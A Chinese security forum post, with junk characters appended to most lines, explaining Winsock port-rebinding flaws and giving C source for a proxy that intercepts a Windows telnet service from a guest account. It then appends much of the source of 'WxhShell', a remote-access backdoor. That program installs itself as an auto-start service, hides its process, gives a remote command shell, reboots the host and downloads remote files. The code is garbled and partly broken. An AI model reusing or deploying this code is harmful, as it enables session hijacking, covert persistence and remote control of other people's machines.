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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WA,D=)GP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 14 ,t  
qzJ<9H  
  saddr.sin_family = AF_INET; jd-ccnR l  
.MG83Si  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KUYwc@si\  
-e}(\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ` 6*]cn#(  
5 ,-8oEUL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HUD0 @HQI  
J<+ f7L  
  这意味着什么?意味着可以进行如下的攻击: =?0v,;F9|  
!L9OJ1F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R'`'q1=R  
{pH#zs4Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *E/ Mf  
~WTkX(\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8ta @@h  
_qf39fM;\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /q\e&&e  
& nXE?-J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ObEz0Rj  
z2t+1 In,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ad>81=Z  
jzJTV4&zjs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m N}szW,  
{eI'0==  
  #include 18sc|t  
  #include 5]LWWjT  
  #include 5 | ,b  
  #include    I/tMFg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L55 UeP\  
  int main() rkR5>S( 2M  
  { D0xQXC3$`  
  WORD wVersionRequested; i(;`x  
  DWORD ret; Lu.+J]Rz  
  WSADATA wsaData; 96<oX:#  
  BOOL val; t!3N|`x  
  SOCKADDR_IN saddr; !2.BLJE>  
  SOCKADDR_IN scaddr; U< G2tn(  
  int err; cbyzZ#WRb  
  SOCKET s; p9?kJKN  
  SOCKET sc; ^@AyC"K  
  int caddsize; -)oUb=Lk{  
  HANDLE mt; y`buY+5l  
  DWORD tid;   F""9O6u  
  wVersionRequested = MAKEWORD( 2, 2 ); =?.oH|&\h  
  err = WSAStartup( wVersionRequested, &wsaData ); i,*m(C@F}  
  if ( err != 0 ) { 9;U?_   
  printf("error!WSAStartup failed!\n"); t kj  
  return -1; H( i   
  } dREY m}1  
  saddr.sin_family = AF_INET; B F<u3p??  
   `"&Nw,C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }Cu[x'J  
WM ?a1j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UTyV6~  
  saddr.sin_port = htons(23); hk4t #Km  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8i`>],,ch  
  { ( ~5 M{Xh  
  printf("error!socket failed!\n"); zVw5(Tc  
  return -1; \OVtvJV]  
  } *C5`LgeX  
  val = TRUE; IB[$~sGe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5F~l;zT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \6SjJ]o>  
  { ]qv0Y~+`-K  
  printf("error!setsockopt failed!\n"); Yu3S3aRE  
  return -1; H"l4b4)N\  
  }  rvd $4l^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 950N\Y @u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %|(c?`2|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击   < v]  
p 4> ThpX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "g ^i%  
  { zk8 )!Af  
  ret=GetLastError(); w7?fJ")  
  printf("error!bind failed!\n"); $C\ETQ@  
  return -1; P+hcj p*  
  } ~< bpdI0  
  listen(s,2); H\ejW@< ;h  
  while(1) EYq?NL='  
  { [UzD3VPg  
  caddsize = sizeof(scaddr); <@-O 06  
  //接受连接请求 (4R(5t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q p>b  
  if(sc!=INVALID_SOCKET) A%.mIc.  
  { !g]5y=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `sCaGCp  
  if(mt==NULL) t Y  
  { V[nPTYO4  
  printf("Thread Creat Failed!\n"); RtMI[  
  break; \QK@wgu  
  } w_56y8Pd4  
  } Kt_oo[ey{  
  CloseHandle(mt); +;q\7*  
  } AYA{_^#+3  
  closesocket(s); C.92FiC  
  WSACleanup(); !lgL=Ys(  
  return 0; aDNB~CwZZ  
  }   ;yt6Yp.6e  
  DWORD WINAPI ClientThread(LPVOID lpParam) w'H'o!*/  
  { a'i Q("  
  SOCKET ss = (SOCKET)lpParam; 0!|d .jZI  
  SOCKET sc; %vJHr!x  
  unsigned char buf[4096]; "17)`Yf  
  SOCKADDR_IN saddr; f)/Z7*Z  
  long num; Iy9hBAg\y  
  DWORD val; c 3QgX4vq  
  DWORD ret; J2W-l{`r<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~:z.Xu5m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .c"nDCFVR  
  saddr.sin_family = AF_INET; K.)!qkW-%S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r.H`3m.0q  
  saddr.sin_port = htons(23); P9cx&Hk9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2^WJ1: A  
  { d+JK")$9C  
  printf("error!socket failed!\n"); l'+3 6  
  return -1; 'c s(gc 0  
  } j?.F-ar  
  val = 100; E JkHPn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QO'Hyf t  
  { hC:'L9Y  
  ret = GetLastError(); 4qOzjEQ  
  return -1; ~$HB}/  
  } dE7x  SI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IK2da@V  
  { 2a$. S " ?  
  ret = GetLastError(); C Bkoky 9&  
  return -1; X8|H5Y:  
  } bBjr hi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h&<"jCjL  
  { b{A[\ "  
  printf("error!socket connect failed!\n"); ~R!1{8HP  
  closesocket(sc); u;`]U$Qq9  
  closesocket(ss); QHk\Z  
  return -1; Dl;hOHvKk  
  } ?,vLRq.  
  while(1) JmI%7bH@  
  { 7Q .Su  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !Z!)$3bB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *d 1Bp R%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ma^jy.  
  num = recv(ss,buf,4096,0); _\WR3Q!V  
  if(num>0) 4era5=  
  send(sc,buf,num,0); ) O0Cz n  
  else if(num==0) 8MJJ w;  
  break; AjVC{\Ik  
  num = recv(sc,buf,4096,0); m!V,W*RNr  
  if(num>0) hLO)-ueb  
  send(ss,buf,num,0); yE$PLM  
  else if(num==0) R}&?9tVRR  
  break; uwNJM  
  } |#TU"$;  
  closesocket(ss); @?,x3\N-  
  closesocket(sc); )(}[S:`  
  return 0 ; -H-U8/WC  
  } uC'-: t#  
Ln& pe(c  
D#g -mqar:  
========================================================== E'QAsU8pP  
U%q)T61  
下边附上一个代码,,WXhSHELL s6`E.Eevm  
V"/.An|  
========================================================== xVx s~p1  
\]ib%,:YU  
#include "stdafx.h" 2.q Zs8&  
|a(KVo  
#include <stdio.h> LE\*33k_  
#include <string.h> ^)AECn  
#include <windows.h> V*p[6{U0  
#include <winsock2.h> n ay\)  
#include <winsvc.h> h,{m{Xh  
#include <urlmon.h> 4 2Z:J 0  
|9E:S  
#pragma comment (lib, "Ws2_32.lib") 5GsmBf$RUb  
#pragma comment (lib, "urlmon.lib") TDh)}Ms  
z74JyY  
#define MAX_USER   100 // 最大客户端连接数 PUdv1__C  
#define BUF_SOCK   200 // sock buffer BIx*t9wA  
#define KEY_BUFF   255 // 输入 buffer t>bzo6cj  
Za|7gt];l  
#define REBOOT     0   // 重启 m eF7[>!U  
#define SHUTDOWN   1   // 关机 */aY $aWv  
+b|F_  
#define DEF_PORT   5000 // 监听端口 k6tCfq;  
$S6(V}yh  
#define REG_LEN     16   // 注册表键长度 Rh'z;Gyr  
#define SVC_LEN     80   // NT服务名长度 km %r{  
>F$9&s&  
// 从dll定义API QQJGqM3a2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T\6Qr$t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X`8<;l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H=/1d.p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]iV ]7g8:  
< 5zR-UA>  
// wxhshell配置信息 9jal D X  
struct WSCFG { `G\ qGllX  
  int ws_port;         // 监听端口 N*IroT3  
  char ws_passstr[REG_LEN]; // 口令 z|g2Q#$-\S  
  int ws_autoins;       // 安装标记, 1=yes 0=no r_7%|T8  
  char ws_regname[REG_LEN]; // 注册表键名 vXJs.)D7  
  char ws_svcname[REG_LEN]; // 服务名 P;5)Net1X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OM EwGr(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NLsF6BX/-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wT@Z|.)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M\1CDU+*Ns  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g\aO::  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +ai3   
$(1t~u<17  
}; {v"f){   
:5kDc" =Z|  
// default Wxhshell configuration !?,, ZD  
struct WSCFG wscfg={DEF_PORT, vl (``5{  
    "xuhuanlingzhe", 1g;2e##)  
    1, }8O9WS  
    "Wxhshell", }&v}S6T  
    "Wxhshell", _/>ktYo:  
            "WxhShell Service", "aGmv9\  
    "Wrsky Windows CmdShell Service", H1N@E}>|  
    "Please Input Your Password: ", (kL"*y/"p  
  1, @nH3nn  
  "http://www.wrsky.com/wxhshell.exe", d?oXz|;H(  
  "Wxhshell.exe" lxn/97rA  
    }; 1hbQ30  
eaRa+ <#u  
// 消息定义模块 HNZ$CaJh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iM .yen_vp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z_c-1iXCW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $WYt`U;*lj  
char *msg_ws_ext="\n\rExit."; ekx(i QA  
char *msg_ws_end="\n\rQuit."; MWwqon|  
char *msg_ws_boot="\n\rReboot..."; -jjB2xP  
char *msg_ws_poff="\n\rShutdown..."; 8:Hh;nl  
char *msg_ws_down="\n\rSave to "; 5OdsT-y  
HNkOPz+d&8  
char *msg_ws_err="\n\rErr!"; r/h\>s+N  
char *msg_ws_ok="\n\rOK!";  (?Ku-k  
/JNG}*  
char ExeFile[MAX_PATH]; -x ?Z2EA!  
int nUser = 0; $1=7^v[U  
HANDLE handles[MAX_USER]; JuJW]E Q  
int OsIsNt; <Sot{_"li  
)CXlPbhY?  
SERVICE_STATUS       serviceStatus; 0Gu77&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A rE~6X  
/)K')  
// 函数声明 lBP?7`U  
int Install(void); Q<>u) %92@  
int Uninstall(void); TG=A]--_a  
int DownloadFile(char *sURL, SOCKET wsh); 9Qyc!s`  
int Boot(int flag); N[@~q~v  
void HideProc(void); L|[i<s;  
int GetOsVer(void); Od.@G~  
int Wxhshell(SOCKET wsl); O72g'qFPE  
void TalkWithClient(void *cs); +v/y{8Fu  
int CmdShell(SOCKET sock); -zECxHj x  
int StartFromService(void); CH7a4qL`  
int StartWxhshell(LPSTR lpCmdLine); W=Syo&;F8  
$NCvF'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bo:epus}\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -w+.'  
s(_z1  
// 数据结构和表定义 ?g1eW q&  
SERVICE_TABLE_ENTRY DispatchTable[] = u?>},M/  
{ s:{[Y7\?  
{wscfg.ws_svcname, NTServiceMain}, xWLZlUHEu  
{NULL, NULL} ij:xr% FJ  
}; 'e:4  
.BxI~d^  
// 自我安装 <.`i,|?MHS  
int Install(void) wPI!i K@Ro  
{ **P P  
  char svExeFile[MAX_PATH]; zd$'8/Cq  
  HKEY key; 8 n[(\f:  
  strcpy(svExeFile,ExeFile); MTt8O+J?P~  
vU *: M8k  
// 如果是win9x系统,修改注册表设为自启动 x|Uwk=;X|s  
if(!OsIsNt) { )d[n-Si  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bc!<!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c Lyf[z)W  
  RegCloseKey(key); %lbvK^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3MX#}_7A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pg5W`4-F  
  RegCloseKey(key); {]Mwuqn  
  return 0; 4+8)0;<H  
    } o2|#_tGNUy  
  } @ws&W=NQ  
} JQb{?C  
else { e=XP4h  
e&ti(Q=  
// 如果是NT以上系统,安装为系统服务 \= ({T_j4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uou "s9  
if (schSCManager!=0) <=CABWO.  
{ jR\pYRK  
  SC_HANDLE schService = CreateService ~_BjcY  
  ( [vI ;A !  
  schSCManager, ")ys!V9  
  wscfg.ws_svcname, "3_X$`v"!  
  wscfg.ws_svcdisp, t=lDN'\P  
  SERVICE_ALL_ACCESS, NvzPZ9=@-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &fRz6Hd  
  SERVICE_AUTO_START,  U :x;4  
  SERVICE_ERROR_NORMAL, -[!t=qi  
  svExeFile, 2KO`+  
  NULL,  9qa/f[G  
  NULL, &y0GdzfQd  
  NULL, a2?@OJ  
  NULL, ['>ZC3?"h  
  NULL !,$K;L  
  ); Bor_(eL^  
  if (schService!=0) iB99.,o-&  
  { (e_<~+E  
  CloseServiceHandle(schService); =~s+<9c]  
  CloseServiceHandle(schSCManager); @|h9jx|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RKrNmD*rk*  
  strcat(svExeFile,wscfg.ws_svcname); F<h+d917  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fAkfN H6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %1 RWF6  
  RegCloseKey(key); [PXq<ST  
  return 0; |WUM=g7PC  
    } OL_#Uu  
  } B0 A`@9  
  CloseServiceHandle(schSCManager); 7"Nda3  
} 4'3;{k$z  
} 0"j:-1  
%4` U' j  
return 1; O\uIIuy  
} tvn o3"  
3AENY@*  
// 自我卸载 P cbhylKd  
int Uninstall(void) +*W lj8  
{ jD<xpD  
  HKEY key; 6 o   
5{W Aw !  
if(!OsIsNt) { erv94acq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hrJ(][8  
  RegDeleteValue(key,wscfg.ws_regname); Yt=)=n  
  RegCloseKey(key); Bi9Q8#lh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ObZhQ.&  
  RegDeleteValue(key,wscfg.ws_regname); RFsUb:%V7-  
  RegCloseKey(key); q'trd};xR  
  return 0; L!Tvz(_7f6  
  } 8wO4;  
} vr"Pr4z4i  
} &kvmLOI  
else { vx7=I\1  
AJ}m2EH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B T}l"  
if (schSCManager!=0) iM7 ^  
{ o%-KO? YW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S;t`C~l\  
  if (schService!=0) T_s09Wl  
  { \ ^pc"?Rc  
  if(DeleteService(schService)!=0) { &2%|?f|  
  CloseServiceHandle(schService); Mb"y{Fox  
  CloseServiceHandle(schSCManager); k8J zey]X  
  return 0; @x*xgf  
  } {m3#1iV9  
  CloseServiceHandle(schService); Y6Y"fb%K  
  } C(h<s e?  
  CloseServiceHandle(schSCManager); i@D4bd9lR  
} #?\(l%  
} 7MZH'nO  
,j{tGj_  
return 1; EF$ASNh"  
} Q3hSWXq'  
]5@n`;&#.  
// 从指定url下载文件 5|jY  
int DownloadFile(char *sURL, SOCKET wsh) a0k;way  
{ ]iW:YNvXA  
  HRESULT hr; QoUdTIIL  
char seps[]= "/"; ^B%ki  
char *token; 'y>Y*/  
char *file; y:Gn58\o  
char myURL[MAX_PATH]; ?Hdu=+ZV  
char myFILE[MAX_PATH]; bxwwYSS  
z}==6| {  
strcpy(myURL,sURL); aso8,mpZuA  
  token=strtok(myURL,seps); nVoWER:  
  while(token!=NULL) _pb*kJ  
  { "uL~D5!f  
    file=token; )w<Z4_!N4s  
  token=strtok(NULL,seps); 9 iJ$M!  
  } Nw9:Gi  
UpD4'!<buV  
GetCurrentDirectory(MAX_PATH,myFILE); 7. $wK.  
strcat(myFILE, "\\"); >}+R+''nR  
strcat(myFILE, file); :81d~f7  
  send(wsh,myFILE,strlen(myFILE),0); {A< 961  
send(wsh,"...",3,0); h|PC?@jp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cR!M{U.q  
  if(hr==S_OK) T(Yp90'6  
return 0; G 0Z5h  
else Vg,nNa3  
return 1; boDD?0.|  
}:0ru_F)(4  
} QL7.QG  
f34/whD65  
// 系统电源模块 (f_YgQEL  
int Boot(int flag) | @ ut/  
{ .9Cy<z  
  HANDLE hToken; ?[.8A/:5  
  TOKEN_PRIVILEGES tkp; Y+),c14#  
nql9SQ'\\  
  if(OsIsNt) { 7BINqVS&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dR_6j}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (_@]-   
    tkp.PrivilegeCount = 1; cK\ u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |,=^P` #%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~Gh7i>n*  
if(flag==REBOOT) { 1anh@T.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X=1o$:7  
  return 0; N2HD=[*cr  
} __7}4mA  
else { .hG*mXw>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9,JM$ Y {  
  return 0; l(87s^_  
} ?aWVfX!+G5  
  } BtbU?t  
  else { {Ak 4GL  
if(flag==REBOOT) { )=iv3nF?6N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <b *sn] l  
  return 0; 9M($_2,44  
} VoUo!t:(+  
else { QD3tM5(Yr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bW! &n  
  return 0; ))Z>$\<:  
} vR!g1gI23  
} Wq+GlB*  
 yZ[g2*1L  
return 1; "@hd\w{.  
} #\=7A  
_A!Fp0}`  
// win9x进程隐藏模块 "9c=kqkX  
void HideProc(void) b+:J?MR;}  
{ &wY$G! P  
RjvW*'2G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =9 )k:S(  
  if ( hKernel != NULL ) ZQfPDH=  
  { 6hd<ys?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3+uL@LXd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *-Yw%uR  
    FreeLibrary(hKernel); T_D] rMl  
  } =$)M-;6  
\$.{*f  
return; LFW`ISY{  
} 2'-"&d+ O  
d,l?{ Ln  
// 获取操作系统版本 *5k40?w  
int GetOsVer(void) *-5N0K<kQ  
{ Q0K$ZWM`7  
  OSVERSIONINFO winfo; .?QYqGcG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dTK0lgkUE  
  GetVersionEx(&winfo); $fg@g7_:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P[G>uA>Z1  
  return 1; #>bj6<  
  else :EQ{7Op`  
  return 0; 7_ayn#;y  
} >O24#!9XW  
0'Ho'wDb  
// 客户端句柄模块 P$k*!j_W  
int Wxhshell(SOCKET wsl) J+E,UiZU  
{ }]mx Kz  
  SOCKET wsh; Kd^.>T-  
  struct sockaddr_in client; yCN_vrH>  
  DWORD myID; [H <TcT8  
/QyKXg6)l  
  while(nUser<MAX_USER) G'G8`1Nj  
{ /<8y>  
  int nSize=sizeof(client); X)~wB7_0G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4RtAwB  
  if(wsh==INVALID_SOCKET) return 1; 7LrmI~P  
/qIl)+M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rq8 d}wj  
if(handles[nUser]==0) lcm [l  
  closesocket(wsh); Z#H<+S(  
else  =s4(Y  
  nUser++; ;T WLo_  
  } 3rKJ<(-2/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]'(D*4  
%2 zmc%]r  
  return 0; gHstdp_3  
} 9ZJ 8QH  
=8?Kn@nMN  
// 关闭 socket zX&SnT1~  
void CloseIt(SOCKET wsh) ;mk[!  
{ }H\I[5*  
closesocket(wsh); 1\&j)3mC  
nUser--; X@DW1<wEt  
ExitThread(0); 2,q*[Kh1  
} 9ET1Er{4  
0(eaVi-%D  
// 客户端请求句柄 vsj4? 0=  
void TalkWithClient(void *cs) ^r&)@R$V  
{ b@;Wh-{d  
MHK|\Z&e7  
  SOCKET wsh=(SOCKET)cs; s||" } l  
  char pwd[SVC_LEN]; 6j<!W+~G  
  char cmd[KEY_BUFF]; qtZ? kJ  
char chr[1]; PT6]qS'1  
int i,j; {k) gDJU  
|sReHt2)d  
  while (nUser < MAX_USER) { ;cI*"-I:F  
\4>,L_O  
if(wscfg.ws_passstr) { DHWz,M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /!?LBtqy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZKrLp8l\  
  //ZeroMemory(pwd,KEY_BUFF); -U=Ci  
      i=0; @9B*V~ <  
  while(i<SVC_LEN) { \CMZ_%~wU  
A<X?1$  
  // 设置超时 O9sEaVX  
  fd_set FdRead; \uJRjw+  
  struct timeval TimeOut; Q# B0JT1  
  FD_ZERO(&FdRead); t+8e?="  
  FD_SET(wsh,&FdRead); \c:$ eF  
  TimeOut.tv_sec=8; '*b]$5*p  
  TimeOut.tv_usec=0; m|aK_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VIT|#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LWF,w7v[L  
r\;fyeH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :D)(3U5  
  pwd=chr[0]; xmvE*q"9]  
  if(chr[0]==0xd || chr[0]==0xa) { x)~i`$  
  pwd=0;  m[B#k$  
  break; @vt.Db  
  } 9RJF  
  i++; h)HEexyRg  
    } g |>LT_  
sCFxn  
  // 如果是非法用户,关闭 socket i3,IEN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +P2oQ_Fk`9  
} !5o j~H  
e|\xF V=4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gA!@oiq@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i7Up AHd/  
}uZs)UQ|$  
while(1) { y QW7ng7D0  
\l~^dn}  
  ZeroMemory(cmd,KEY_BUFF); f82%nT  
[k6I#v<&  
      // 自动支持客户端 telnet标准   SeD}H=,@  
  j=0; -&5YRfr!  
  while(j<KEY_BUFF) { aTuu",f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 ~zjsi  
  cmd[j]=chr[0]; lT|Gkm<G  
  if(chr[0]==0xa || chr[0]==0xd) { ITn%  
  cmd[j]=0; 1[!v{F%]  
  break; zw>L0gC  
  } )XN_|zCk  
  j++; 4E39]vb  
    } vk92j?  
b6N[t _,  
  // 下载文件 p{g4`o  
  if(strstr(cmd,"http://")) { ;Bs~E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C`[<6>&y  
  if(DownloadFile(cmd,wsh)) 8:,($a/KF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K92j BR  
  else m4mE7Wn.3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @8|*Ndx2  
  } s?w2^<P  
  else { 1xB}Ed*k  
[eX]x  
    switch(cmd[0]) { ]vvYPRV76  
  ("9bV8:@B  
  // 帮助 yQK{ +w  
  case '?': { tVAi0`DV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &lQ%;)'  
    break; 'ToE Y3  
  } y[8;mCh  
  // 安装 zjpZ] $  
  case 'i': { :ky`)F`  
    if(Install()) wjA wJOw|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >JyS@j}  
    else H7zN|NdNw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'hpOpIsHa  
    break; q+?<cjVg  
    } Xz_WFLq4  
  // 卸载 ZL( j5E  
  case 'r': { 7Sx|n}a-3  
    if(Uninstall()) z'YWomfZm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;$OaJFT  
    else p F-Lz<V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xXe3E&  
    break; x-BU$bx5  
    } @ ^{`!>Vt  
  // 显示 wxhshell 所在路径 Xs0)4U  
  case 'p': { mUBy*.  
    char svExeFile[MAX_PATH]; 2q~ .,vpP  
    strcpy(svExeFile,"\n\r"); \SWTP1  
      strcat(svExeFile,ExeFile); XF!L.'zH  
        send(wsh,svExeFile,strlen(svExeFile),0); JrzPDb`m  
    break; PCviQ!X  
    } RM;a]g*  
  // 重启 g#5R|| r  
  case 'b': { }"D;?$R!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?I}RX~Tgg  
    if(Boot(REBOOT)) G:AA>t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5\Q Tm;  
    else { p*;!5;OUR  
    closesocket(wsh); ${f<}  
    ExitThread(0); d^C@5Pd <  
    } [wGj?M}  
    break; %K6veB{M  
    } F@BpAl  
  // 关机 }`uyOgGg*  
  case 'd': { Q5,zs_j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3\7MeG`tl  
    if(Boot(SHUTDOWN)) yHeL&H  
